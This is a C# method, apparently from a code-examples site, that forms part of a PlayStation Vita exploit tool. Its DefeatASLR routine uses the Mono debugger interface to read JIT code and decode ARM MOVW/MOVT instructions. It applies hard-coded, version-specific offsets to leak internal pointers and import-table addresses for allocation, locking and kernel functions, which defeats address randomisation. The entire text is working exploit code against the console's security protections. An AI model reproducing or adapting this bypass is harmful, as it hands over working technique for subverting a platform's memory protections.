Example #1
0
        public uint DefeatASLR(out uint images_hash_ptr, out uint alloc_fptr, out uint free_fptr, out uint unlock_fptr, out uint lock_fptr, out uint flush_fptr, out uint libkernel_anchor)
        {
            // step 0, setup
            long methid_gettype = _vita.GetMethod(true, "System.Type", "GetType", 1, new string[] { "String" });

            if (methid_gettype < 0)
            {
                throw new TargetException("Cannot get method id for Type.GetType");
            }
            long methid_getmethod = _vita.GetMethod(true, "System.Type", "GetMethod", 1, new string[] { "String" });

            if (methid_getmethod < 0)
            {
                throw new TargetException("Cannot get method id for Type.GetMethod");
            }
            long methid_getruntimehandle = _vita.GetMethod(true, "System.Reflection.MonoMethod", "get_MethodHandle", 0, new string[] { });

            if (methid_getruntimehandle < 0)
            {
                throw new TargetException("Cannot get method id for System.Reflection.MonoMethod.get_MethodHandle");
            }
            long methid_fptr = _vita.GetMethod(true, "System.RuntimeMethodHandle", "GetFunctionPointer", 0, new string[] { });

            if (methid_fptr < 0)
            {
                throw new TargetException("Cannot get method id for System.RuntimeMethodHandle.GetFunctionPointer");
            }
            long methid_readint32 = _vita.GetMethod(true, "System.Runtime.InteropServices.Marshal", "ReadInt32", 2, new string[] { "IntPtr", "Int32" });

            if (methid_readint32 < 0)
            {
                throw new TargetException("Cannot get method id for ReadInt32");
            }

            // step 1, get method handle
            ValueImpl environment_str = _vita.CreateString("System.Environment");
            ValueImpl env_type        = _vita.RunMethod(methid_gettype, null, new ValueImpl[] { environment_str });

            Console.WriteLine("System.Environment Type object: 0x{0:X}", VitaIntToUInt((Int64)env_type.Objid));
            ValueImpl exit_str = _vita.CreateString("Exit");

            env_type.Type = ElementType.Object; // BUG with debugger
            ValueImpl methodinfo = _vita.RunMethod(methid_getmethod, env_type, new ValueImpl[] { exit_str });

            Console.WriteLine("System.Environment.Exit MonoMethod object: 0x{0:X}", VitaIntToUInt((Int64)methodinfo.Objid));
            methodinfo.Type = ElementType.Object; // BUG with debugger
            ValueImpl runtimehandle = _vita.RunMethod(methid_getruntimehandle, methodinfo, new ValueImpl[] { });

            Console.WriteLine("System.Environment.Exit RuntimeMethodHandle object: 0x{0:X}", VitaIntToUInt((Int64)runtimehandle.Objid));
            ValueImpl funcptr = _vita.RunMethod(methid_fptr, runtimehandle, new ValueImpl[] { });

            Console.WriteLine("System.Environment.Exit function pointer: 0x{0:X}", VitaIntToUInt((Int64)funcptr.Fields[0].Value));

            // step 2, read function pointer to Exit icall from JIT code
            ValueImpl offset = new ValueImpl();

            offset.Type  = ElementType.I4;
            offset.Value = 0x90;
            ValueImpl movw_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { funcptr, offset });

            offset.Value = 0x94;
            ValueImpl movt_val = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { funcptr, offset });
            uint      addr;
            uint      instr;

            Utilities.DecodeResult type;
            instr = VitaIntToUInt((Int32)movw_val.Value);
            addr  = Utilities.DecodeARM32(instr, out type);
            if (type != Utilities.DecodeResult.INSTRUCTION_MOVW)
            {
                throw new TargetException(string.Format("Invalid instruction, expected MOVW, got: 0x{0:X}", instr));
            }
            instr = VitaIntToUInt((Int32)movt_val.Value);
            addr |= Utilities.DecodeARM32(instr, out type) << 16;
            if (type != Utilities.DecodeResult.INSTRUCTION_MOVT)
            {
                throw new TargetException(string.Format("Invalid instruction, expected MOVT, got: 0x{0:X}", instr));
            }
            Console.WriteLine("Found fptr for Environment.Exit at: 0x{0:X}", addr);

            // step 3, use offset to find mono_images_init and get hashmap pointer
#if USE_UNITY
            uint mono_images_init_addr = addr - 1 + 0x129E;
#else
            uint mono_images_init_addr = addr - 1 + 0x1206;
#endif
            ValueImpl initaddr = _vita.CreateIntPtr(UIntToVitaInt(mono_images_init_addr));
            offset.Value    = 0;
            movw_val        = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { initaddr, offset });
            offset.Value    = 4;
            movt_val        = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { initaddr, offset });
            instr           = VitaIntToUInt((Int32)movw_val.Value);
            images_hash_ptr = Utilities.DecodeThumb2((UInt16)(instr & 0xFFFF), (UInt16)(instr >> 16), out type);
            if (type != Utilities.DecodeResult.INSTRUCTION_MOVW)
            {
                throw new TargetException(string.Format("Invalid instruction, expected MOVW, got: 0x{0:X}", instr));
            }
            instr            = VitaIntToUInt((Int32)movt_val.Value);
            images_hash_ptr |= (uint)Utilities.DecodeThumb2((UInt16)(instr & 0xFFFF), (UInt16)(instr >> 16), out type) << 16;
            if (type != Utilities.DecodeResult.INSTRUCTION_MOVT)
            {
                throw new TargetException(string.Format("Invalid instruction, expected MOVT, got: 0x{0:X}", instr));
            }
            Console.WriteLine("Found ptr for loaded_images_hash at: 0x{0:X}", images_hash_ptr);

            // step 4, use offset to find import table for SceLibMonoBridge functions

#if USE_UNITY
            // Determine Unity version...
            int unity_version = FindUnityVersion(addr);
#endif

#if PSM_111
            uint import_table = addr - 1 + 0x12dbaa;
#elif USE_UNITY
            uint import_table = addr - 1 + (uint)(unity_version == 0x105 ? 0x1118A0 : 0x1117C8);
#else
            uint import_table = addr - 1 + 0x12D7A2;
#endif

            ValueImpl faddr = _vita.CreateIntPtr(UIntToVitaInt(import_table));

#if USE_UNITY
            offset.Value = 0xBC;
#else
            offset.Value = 0x184;
#endif

            ValueImpl fval = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
            unlock_fptr = VitaIntToUInt((Int32)fval.Value);

#if USE_UNITY
            offset.Value = 0x74;
#else
            offset.Value = 0x198;
#endif

            fval      = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
            lock_fptr = VitaIntToUInt((Int32)fval.Value);

#if USE_UNITY
            offset.Value = unity_version == 0x105 ? 0x1BC : 0xFC;
#else
            offset.Value = 0x350;
#endif

            fval      = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
            free_fptr = VitaIntToUInt((Int32)fval.Value);

#if PSM_111
            offset.Value = 0x460;
#elif USE_UNITY
            offset.Value = 0x64;
#else
            offset.Value = 0x468;
#endif
            fval       = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
            alloc_fptr = VitaIntToUInt((Int32)fval.Value);

#if USE_UNITY
            offset.Value = 0x54;
#else
            offset.Value = 0x40;
#endif

            fval       = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
            flush_fptr = VitaIntToUInt((Int32)fval.Value);
            // find SceLibKernel import table for anchor
#if PSM_111
            import_table = addr - 1 + 0x12e18a;
#elif USE_UNITY
            import_table = addr - 1 + (uint)(unity_version == 0x105 ? 0x111C98 : 0x111BC0);
#else
            import_table = addr - 1 + 0x12DD7E;
#endif
            faddr            = _vita.CreateIntPtr(UIntToVitaInt(import_table));
            offset.Value     = 0x0;
            fval             = _vita.RunMethod(methid_readint32, null, new ValueImpl[] { faddr, offset });
            libkernel_anchor = VitaIntToUInt((Int32)fval.Value);
            Console.WriteLine("Found unlock 0x{0:X}, lock 0x{1:X}, free 0x{2:X}, alloc 0x{3:X}, anchor 0x{4:X}", unlock_fptr, lock_fptr, free_fptr, alloc_fptr, libkernel_anchor);

            return(0);
        }